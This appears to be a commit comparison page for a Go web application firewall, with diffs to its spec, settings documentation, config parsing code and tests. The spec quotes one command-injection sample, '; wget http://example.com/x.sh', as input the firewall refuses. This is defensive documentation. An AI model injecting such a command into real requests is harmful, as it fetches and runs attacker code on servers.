Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
36c4f91583 |
No files matched your search
@@ -214,9 +214,9 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
||||
are updated, and the alert thresholds are evaluated.
|
||||
|
||||
For a request it refused, `waf` adds nothing to the byte limits. It updates
|
||||
the history and the anomaly counters at its decision. A refusal for a rule
|
||||
file match, a trap path or a Core Rule Set match also counts toward the
|
||||
refusal limit at the decision (`refusal_limit`; see "Attack detection").
|
||||
the history and the anomaly counters at its decision. It counts the refusals
|
||||
the refusal limit counts at the decision too (`refusal_limit`; see "Attack
|
||||
detection").
|
||||
|
||||
In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
|
||||
happened, nothing is refused, and `waf` makes no ban of its own. A path under
|
||||
@@ -1782,10 +1782,6 @@ member. A staff user's address skips them too: `username` when signing in, and
|
||||
`email` when creating the first staff user, asking for a password reset or
|
||||
saving a profile.
|
||||
|
||||
The `canonical_url` of a post or a page skips 930120 and 932120, as `url` does.
|
||||
A post's skips them under `/ghost/api/admin/posts/`, and a page's under
|
||||
`/ghost/api/admin/pages/`.
|
||||
|
||||
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
||||
|
||||
- `lexical`, which the editor saves, and `mobiledoc` and `html`, which
|
||||
@@ -1826,7 +1822,7 @@ fields, on the Admin API:
|
||||
(941170 and 941210). Path traversal and SQL injection are still refused in every
|
||||
field above. Script injection is too, outside the articles and code injection.
|
||||
`; wget http://example.com/x.sh` is still refused in the query fields, the plain
|
||||
text, the addresses and the canonical URLs.
|
||||
text and the addresses.
|
||||
|
||||
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
||||
That name holds `.profile`, a file on the list of system files, so the name
|
||||
@@ -2616,14 +2612,13 @@ A path under `/_sww/` that `allow` would pass on is answered `404` instead, so
|
||||
that the app never sees that prefix.
|
||||
|
||||
`rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is
|
||||
below `200`. The visitor gets `502` from `rproxy`, whatever
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process
|
||||
warning, its log line has no `disposition`, and it sends no report.
|
||||
below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy`
|
||||
writes a process warning, its log line has no `disposition`, and it sends no
|
||||
report.
|
||||
|
||||
A visitor that goes away while `waf` is being asked is no failure of `waf`.
|
||||
`rproxy` closes the connection with no warning and no report, and
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has
|
||||
status `0` and no `disposition`.
|
||||
`rproxy` closes the connection, with no warning, no default and no report. Its
|
||||
log line has status `0` and no `disposition`.
|
||||
|
||||
### Passing a request to the app
|
||||
|
||||
|
||||
+7
-7
@@ -304,8 +304,8 @@ the request first.
|
||||
A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||
within which breaking a limit again lengthens the next ban. A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
|
||||
that would be longer than this is permanent instead. A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): the longest ban for a
|
||||
broken limit; one that would be longer is permanent. A duration.
|
||||
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
||||
of attack. A duration.
|
||||
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||
@@ -454,12 +454,13 @@ asked in the background (see "Answering in time" under "`waf`" in
|
||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
||||
|
||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
|
||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||
speaks HTTP/1.1 to it.
|
||||
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
|
||||
for `waf`'s answer, to a question and to a report. A time in milliseconds;
|
||||
never `off`.
|
||||
for `waf`'s answer, to a question and to a report. A time; never `off`.
|
||||
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
|
||||
with a request when `waf` cannot be connected to, does not answer at all, or
|
||||
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
|
||||
@@ -472,12 +473,11 @@ start, and an invalid value stops the start. Any can be given as a file, as a
|
||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
||||
take to send its request line and headers. It then also bounds, from the end
|
||||
of the headers, the time until the app has been sent the whole request. A time
|
||||
in milliseconds or `off`.
|
||||
or `off`.
|
||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
||||
take, from the end of the request to its last byte reaching the visitor. An
|
||||
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
||||
do the status and headers of the app's answer. A time in milliseconds or
|
||||
`off`.
|
||||
do the status and headers of the app's answer. A time or `off`.
|
||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
||||
`:9000`.
|
||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Package bans is the ban ledger: the bans sww makes on the
|
||||
// netblocks of clients that break a rate limit, a byte limit or the refusal
|
||||
// limit, show a clear sign of attack or are listed by the CrowdSec
|
||||
// netblocks of clients that break a rate limit, a byte limit or the error
|
||||
// burst, show a clear sign of attack or are listed by the CrowdSec
|
||||
// decision list, and
|
||||
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
||||
// describes. The bans are kept in memory, and written to bans.json and
|
||||
@@ -49,8 +49,8 @@ type Params struct {
|
||||
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
||||
// repeatFactor times as long as that ban.
|
||||
LimitBanRepeatWindow time.Duration
|
||||
// A ban for a broken limit that would be longer than
|
||||
// LimitBanPermanentAbove is permanent instead.
|
||||
// LimitBanPermanentAbove is the longest ban for a broken limit; one that would
|
||||
// be longer is permanent instead.
|
||||
LimitBanPermanentAbove time.Duration
|
||||
// AttackBanDuration is how long a first ban for a clear sign of attack
|
||||
// lasts.
|
||||
|
||||
@@ -97,7 +97,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
@@ -114,12 +114,12 @@ func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
|
||||
// 3^13 hours, is not above it, and three times as long would not fit in
|
||||
// a time.Duration. The 15th is permanent.
|
||||
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
||||
// hours, is within the maximum, and three times as long would not fit
|
||||
// in a time.Duration. The 15th is permanent.
|
||||
params := defaultParams()
|
||||
params.LimitBanPermanentAbove = 100000 * day
|
||||
ledger := bans.New(params)
|
||||
|
||||
@@ -16,7 +16,6 @@ import (
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
)
|
||||
@@ -37,9 +36,7 @@ const (
|
||||
var (
|
||||
errNotSize = errors.New(
|
||||
"is not a size such as 512K, 100M or 5G, or off")
|
||||
errNotPositive = errors.New("must be more than zero, or off")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
errNotPositive = errors.New("must be more than zero, or off")
|
||||
errEmptyItem = errors.New("has an empty item in its list")
|
||||
errNotNetblock = errors.New(
|
||||
"is not a netblock such as 10.0.0.0/8, or an address")
|
||||
@@ -65,10 +62,11 @@ func Command(v *viper.Viper) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
|
||||
// settings: it notes each value for the log, and keeps the first error. It
|
||||
// reads every setting through v, the viper NewViper returns, and honours
|
||||
// each setting's _FILE form too.
|
||||
// environment is where WAFFromEnvironment and RProxyFromEnvironment read
|
||||
// the settings: it notes each
|
||||
// value for the log, and keeps the first error. It reads every setting
|
||||
// through v, the viper NewViper returns, and honours each setting's _FILE
|
||||
// form too.
|
||||
type environment struct {
|
||||
v *viper.Viper
|
||||
settings []slog.Attr
|
||||
@@ -165,19 +163,6 @@ func (e *environment) size(name, defaultValue string) int64 {
|
||||
return size
|
||||
}
|
||||
|
||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||
// zero.
|
||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||
value := e.value(name, defaultValue)
|
||||
|
||||
duration, valid := parseMilliseconds(value)
|
||||
if !valid {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||
}
|
||||
|
||||
return duration
|
||||
}
|
||||
|
||||
// parseSize reads a number of bytes with an optional K, M or G suffix, in
|
||||
// powers of 1024 (1K is 1024 bytes), or off.
|
||||
func parseSize(value string) (int64, error) {
|
||||
@@ -214,17 +199,6 @@ func splitUnit(value string) (string, int64) {
|
||||
}
|
||||
}
|
||||
|
||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||
// reports whether it is one.
|
||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||
n, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||
return 0, false
|
||||
}
|
||||
|
||||
return time.Duration(n) * time.Millisecond, true
|
||||
}
|
||||
|
||||
// parseList splits a comma-separated list and trims the spaces around
|
||||
// each item. An empty value is an empty list.
|
||||
func parseList(value string) ([]string, error) {
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"math"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"strconv"
|
||||
@@ -63,7 +64,9 @@ var (
|
||||
"such as http://127.0.0.1:8081")
|
||||
errNeedsWAFBackend = errors.New(
|
||||
"is required: it is waf's URL, such as http://waf:8080")
|
||||
errNotDisposition = errors.New("is not allow or deny")
|
||||
errNotDisposition = errors.New("is not allow or deny")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
errNotMillisecondsOrOff = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
||||
)
|
||||
@@ -175,6 +178,19 @@ func (e *environment) disposition(name, defaultValue string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||
// zero.
|
||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||
value := e.value(name, defaultValue)
|
||||
|
||||
duration, valid := parseMilliseconds(value)
|
||||
if !valid {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||
}
|
||||
|
||||
return duration
|
||||
}
|
||||
|
||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||
// above zero, or off, which is 0.
|
||||
func (e *environment) millisecondsOrOff(
|
||||
@@ -193,6 +209,17 @@ func (e *environment) millisecondsOrOff(
|
||||
return duration
|
||||
}
|
||||
|
||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||
// reports whether it is one.
|
||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||
n, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||
return 0, false
|
||||
}
|
||||
|
||||
return time.Duration(n) * time.Millisecond, true
|
||||
}
|
||||
|
||||
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
||||
// optional port from 1 to 65535, and nothing else, since the request's
|
||||
// own path and query go to the app unchanged.
|
||||
|
||||
@@ -16,7 +16,7 @@ import (
|
||||
// rproxy's settings, by name, and their values in these tests.
|
||||
const (
|
||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||
@@ -91,7 +91,7 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
||||
rproxyListen: ":9000",
|
||||
rproxyUpstream: "http://app:3000",
|
||||
rproxyTrusted: "192.0.2.0/24",
|
||||
wafBackendTimeout: "150",
|
||||
rproxyTimeout: "150",
|
||||
rproxyNoAnswer: "deny",
|
||||
rproxyMaxRequest: "1K",
|
||||
rproxyMaxResponse: off,
|
||||
@@ -127,12 +127,12 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
||||
{wafBackend, ""},
|
||||
{wafBackend, "waf:8080"},
|
||||
{wafBackend, "http://waf:8080/path"},
|
||||
{wafBackendTimeout, "0"},
|
||||
{wafBackendTimeout, "-1"},
|
||||
{wafBackendTimeout, off},
|
||||
{wafBackendTimeout, "2s"},
|
||||
{wafBackendTimeout, "1.25"},
|
||||
{wafBackendTimeout, "99999999999999999"},
|
||||
{rproxyTimeout, "0"},
|
||||
{rproxyTimeout, "-1"},
|
||||
{rproxyTimeout, off},
|
||||
{rproxyTimeout, "2s"},
|
||||
{rproxyTimeout, "1.25"},
|
||||
{rproxyTimeout, "99999999999999999"},
|
||||
{rproxyNoAnswer, "maybe"},
|
||||
{rproxyListen, "8080"},
|
||||
{rproxyUpstream, "app"},
|
||||
@@ -220,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
||||
|
||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||
_, err := rproxyConfig(map[string]string{
|
||||
wafBackend: backendURL,
|
||||
wafBackendTimeout + "_FILE": path,
|
||||
wafBackend: backendURL,
|
||||
rproxyTimeout + "_FILE": path,
|
||||
})
|
||||
|
||||
want := wafBackendTimeout + "_FILE: cannot be read: "
|
||||
want := rproxyTimeout + "_FILE: cannot be read: "
|
||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
||||
}
|
||||
@@ -247,7 +247,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout,
|
||||
rproxyNoAnswer,
|
||||
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
||||
} {
|
||||
|
||||
+13
-12
@@ -27,7 +27,8 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||
)
|
||||
|
||||
// WAF is the settings of `sww waf`. A time or size limit of zero is off.
|
||||
// WAF is the settings of `sww waf`. A time or size limit of
|
||||
// zero is off.
|
||||
type WAF struct {
|
||||
// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
|
||||
ListenAddr string
|
||||
@@ -70,21 +71,21 @@ type WAF struct {
|
||||
// most bytes a client's requests may carry in a minute, an hour and a
|
||||
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
|
||||
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count
|
||||
// toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED):
|
||||
// response, request or both.
|
||||
// toward them (SWW_WAF_BYTES_COUNTED): response, request or both.
|
||||
BytesLimitPerMinute int64
|
||||
BytesLimitPerHour int64
|
||||
BytesLimitPerDay int64
|
||||
BytesCounted string
|
||||
// LookupSource is where each client's AS number and country are looked
|
||||
// up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||
// LookupDBPath is the lookup database, the IPinfo Lite file looked up in
|
||||
// while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
||||
// other source. A request waits up to ASNAndCountryLookupTimeout for its
|
||||
// client's first answer from GeoJS while a setting needs it
|
||||
// LookupSource is where each client's AS number and country are
|
||||
// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
|
||||
// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
||||
// other source. A request waits up to ASNAndCountryLookupTimeout for
|
||||
// its client's first answer from GeoJS while a setting needs it
|
||||
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off.
|
||||
// AddLookupHeaders is true when the app is passed the client's AS number
|
||||
// and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS).
|
||||
// AddLookupHeaders is true when the app is passed the client's AS
|
||||
// number and country in headers
|
||||
// (SWW_WAF_ADD_LOOKUP_HEADERS).
|
||||
LookupSource string
|
||||
LookupDBPath string
|
||||
ASNAndCountryLookupTimeout time.Duration
|
||||
@@ -845,7 +846,7 @@ func (e *environment) count(name, defaultValue string) int64 {
|
||||
}
|
||||
|
||||
// bytesCounted reads the setting that is which body bytes count toward the
|
||||
// byte limits and the byte anomaly thresholds: response, request or both.
|
||||
// byte limits: response, request or both.
|
||||
func (e *environment) bytesCounted(name, defaultValue string) string {
|
||||
value := e.value(name, defaultValue)
|
||||
if value != "response" && value != "request" && value != "both" {
|
||||
|
||||
+67
-67
@@ -248,8 +248,8 @@ func (e environment) viper() *viper.Viper {
|
||||
return configtest.Viper(e)
|
||||
}
|
||||
|
||||
// wafFromEnvironment reads waf's settings from env, which must be valid.
|
||||
func wafFromEnvironment(t *testing.T, env environment) *config.WAF {
|
||||
// fromEnvironment reads the settings from env, which must be valid.
|
||||
func fromEnvironment(t *testing.T, env environment) *config.WAF {
|
||||
t.Helper()
|
||||
|
||||
cfg, err := config.WAFFromEnvironment(env.viper())
|
||||
@@ -263,7 +263,7 @@ func wafFromEnvironment(t *testing.T, env environment) *config.WAF {
|
||||
func TestDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
|
||||
wantSettings(t, cfg, config.WAF{
|
||||
ListenAddr: ":8080",
|
||||
@@ -334,7 +334,7 @@ func TestDefaults(t *testing.T) {
|
||||
func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
|
||||
rproxy, err := rproxyConfig(map[string]string{wafBackend: backendURL})
|
||||
if err != nil {
|
||||
@@ -359,7 +359,7 @@ func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
|
||||
func TestValuesAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
listenAddr: "127.0.0.1:9000",
|
||||
mode: "observe",
|
||||
allowNets: "192.0.2.7",
|
||||
@@ -429,7 +429,7 @@ func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) {
|
||||
48, 500, slog.LevelWarn,
|
||||
},
|
||||
} {
|
||||
cfg := wafFromEnvironment(t, tc.env)
|
||||
cfg := fromEnvironment(t, tc.env)
|
||||
if cfg.IPv6GroupPrefix != tc.prefix ||
|
||||
cfg.MaxTrackedClients != tc.clients ||
|
||||
cfg.LogLevel != tc.level {
|
||||
@@ -444,7 +444,7 @@ func TestIPv6GroupPrefixFrom32To128(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, length := range []int{32, 128} {
|
||||
cfg := wafFromEnvironment(
|
||||
cfg := fromEnvironment(
|
||||
t,
|
||||
environment{ipv6GroupPrefix: strconv.Itoa(length)},
|
||||
)
|
||||
@@ -468,7 +468,7 @@ func TestEachLogLevel(t *testing.T) {
|
||||
"warn": slog.LevelWarn,
|
||||
"error": slog.LevelError,
|
||||
} {
|
||||
cfg := wafFromEnvironment(t, environment{logLevel: value})
|
||||
cfg := fromEnvironment(t, environment{logLevel: value})
|
||||
if cfg.LogLevel != want {
|
||||
t.Errorf(
|
||||
"%s=%s gave %v, want %v",
|
||||
@@ -484,7 +484,7 @@ func TestEachLogLevel(t *testing.T) {
|
||||
func TestByteLimitSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
bytesLimitPerMinute: "512M",
|
||||
bytesLimitPerHour: off,
|
||||
bytesLimitPerDay: "100000",
|
||||
@@ -500,7 +500,7 @@ func TestByteLimitSettingsAsSet(t *testing.T) {
|
||||
func TestRateLimitExemptPathsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(
|
||||
cfg := fromEnvironment(
|
||||
t,
|
||||
environment{rateLimitExemptPaths: "/assets/, /favicon.ico"},
|
||||
)
|
||||
@@ -531,9 +531,9 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
env environment
|
||||
paths []string
|
||||
limit int64
|
||||
env environment
|
||||
paths []string
|
||||
threshold int64
|
||||
}{
|
||||
{environment{}, []string{}, 30},
|
||||
{
|
||||
@@ -542,16 +542,16 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
|
||||
},
|
||||
{environment{refusalsLimitPerMinute: off}, []string{}, 0},
|
||||
} {
|
||||
cfg := wafFromEnvironment(t, tc.env)
|
||||
cfg := fromEnvironment(t, tc.env)
|
||||
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
|
||||
cfg.RefusalsLimitPerMinute != tc.limit {
|
||||
cfg.RefusalsLimitPerMinute != tc.threshold {
|
||||
t.Errorf(
|
||||
"%v gave %v and %d, want %v and %d",
|
||||
tc.env,
|
||||
cfg.TrapPaths,
|
||||
cfg.RefusalsLimitPerMinute,
|
||||
tc.paths,
|
||||
tc.limit,
|
||||
tc.threshold,
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -644,7 +644,7 @@ func TestCoreRuleSetSettings(t *testing.T) {
|
||||
},
|
||||
},
|
||||
} {
|
||||
cfg := wafFromEnvironment(t, tc.env)
|
||||
cfg := fromEnvironment(t, tc.env)
|
||||
|
||||
got := config.WAF{
|
||||
CoreRuleSetMode: cfg.CoreRuleSetMode,
|
||||
@@ -684,7 +684,7 @@ func TestApps(t *testing.T) {
|
||||
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
|
||||
},
|
||||
} {
|
||||
cfg := wafFromEnvironment(t, tc.env)
|
||||
cfg := fromEnvironment(t, tc.env)
|
||||
if !reflect.DeepEqual(cfg.Apps, tc.want) {
|
||||
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
|
||||
}
|
||||
@@ -705,7 +705,7 @@ func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
|
||||
var out bytes.Buffer
|
||||
|
||||
slog.New(slog.NewJSONHandler(&out, nil)).
|
||||
Info("starting", "settings", wafFromEnvironment(t, tc.env))
|
||||
Info("starting", "settings", fromEnvironment(t, tc.env))
|
||||
|
||||
if !strings.Contains(out.String(), tc.want) {
|
||||
t.Errorf(
|
||||
@@ -766,7 +766,7 @@ func TestInvalidAppsStopsTheStart(t *testing.T) {
|
||||
func TestCoreRuleSetBodyInspectionSizeOf64K(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(
|
||||
cfg := fromEnvironment(
|
||||
t,
|
||||
environment{coreRuleSetBodyInspectionSize: "64K"},
|
||||
)
|
||||
@@ -845,7 +845,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
|
||||
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
instanceName: "fsn1app1/blog",
|
||||
logRequestHeaders: " Accept , X-Custom",
|
||||
})
|
||||
@@ -863,7 +863,7 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
|
||||
func TestRemoteLogSettingsDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{instanceName: instance})
|
||||
cfg := fromEnvironment(t, environment{instanceName: instance})
|
||||
|
||||
if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil ||
|
||||
cfg.LogRemoteBufferLines != 10000 || cfg.LogRemoteFacility != 16 ||
|
||||
@@ -892,7 +892,7 @@ func TestRemoteLogSettingsAsSet(t *testing.T) {
|
||||
t.Fatalf("write %s: %v", caFile, err)
|
||||
}
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
logRemoteURL: "syslog+tls://logs.example:6514",
|
||||
logRemoteTLSCAFile: caFile,
|
||||
logRemoteBufferLines: "500",
|
||||
@@ -927,13 +927,13 @@ func TestRemoteLogURLForms(t *testing.T) {
|
||||
"syslog+tcp://[2001:db8::1]:514",
|
||||
"syslog+tls://logs.example:6514/",
|
||||
} {
|
||||
cfg := wafFromEnvironment(t, environment{logRemoteURL: value})
|
||||
cfg := fromEnvironment(t, environment{logRemoteURL: value})
|
||||
if cfg.LogRemoteURL.String() != value {
|
||||
t.Errorf("%s read as %v", value, cfg.LogRemoteURL)
|
||||
}
|
||||
}
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{logRemoteURL: ""})
|
||||
cfg := fromEnvironment(t, environment{logRemoteURL: ""})
|
||||
if cfg.LogRemoteURL != nil {
|
||||
t.Errorf(
|
||||
"set but empty, %s read as %v",
|
||||
@@ -950,7 +950,7 @@ func TestRemoteLogFacilitiesByNumber(t *testing.T) {
|
||||
"kern": 0, "user": 1, "auth": 4, "authpriv": 10, "ftp": 11,
|
||||
"local0": 16, "local5": 21, "local7": 23,
|
||||
} {
|
||||
cfg := wafFromEnvironment(t, environment{logRemoteFacility: name})
|
||||
cfg := fromEnvironment(t, environment{logRemoteFacility: name})
|
||||
if cfg.LogRemoteFacility != number {
|
||||
t.Errorf(
|
||||
"%s read as %d, want %d",
|
||||
@@ -1036,7 +1036,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{instanceName: spaced})
|
||||
cfg := fromEnvironment(t, environment{instanceName: spaced})
|
||||
if cfg.LogRemoteAppName != spaced {
|
||||
t.Errorf(
|
||||
"not sending, %s is %q",
|
||||
@@ -1047,7 +1047,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(
|
||||
|
||||
sending[logRemoteAppName] = instance
|
||||
|
||||
cfg = wafFromEnvironment(t, sending)
|
||||
cfg = fromEnvironment(t, sending)
|
||||
if cfg.LogRemoteAppName != instance {
|
||||
t.Errorf("set to %s, %s is %q", instance, logRemoteAppName,
|
||||
cfg.LogRemoteAppName)
|
||||
@@ -1073,7 +1073,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
|
||||
func TestAlertSettingsDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
|
||||
if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 ||
|
||||
cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil ||
|
||||
@@ -1106,7 +1106,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
|
||||
token = "tk_0123456789abcdefghijklmnopq"
|
||||
)
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
alertWebhookURL: webhook,
|
||||
alertWebhookHeaders: "Authorization: Bearer abc:def , x-team:ops",
|
||||
alertSlackWebhookURL: slack,
|
||||
@@ -1144,7 +1144,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
|
||||
func TestAlertSettingsSetEmptyOrOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
alertWebhookURL: "", alertSlackWebhookURL: "", alertNtfyURL: "",
|
||||
alertNtfyToken: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off,
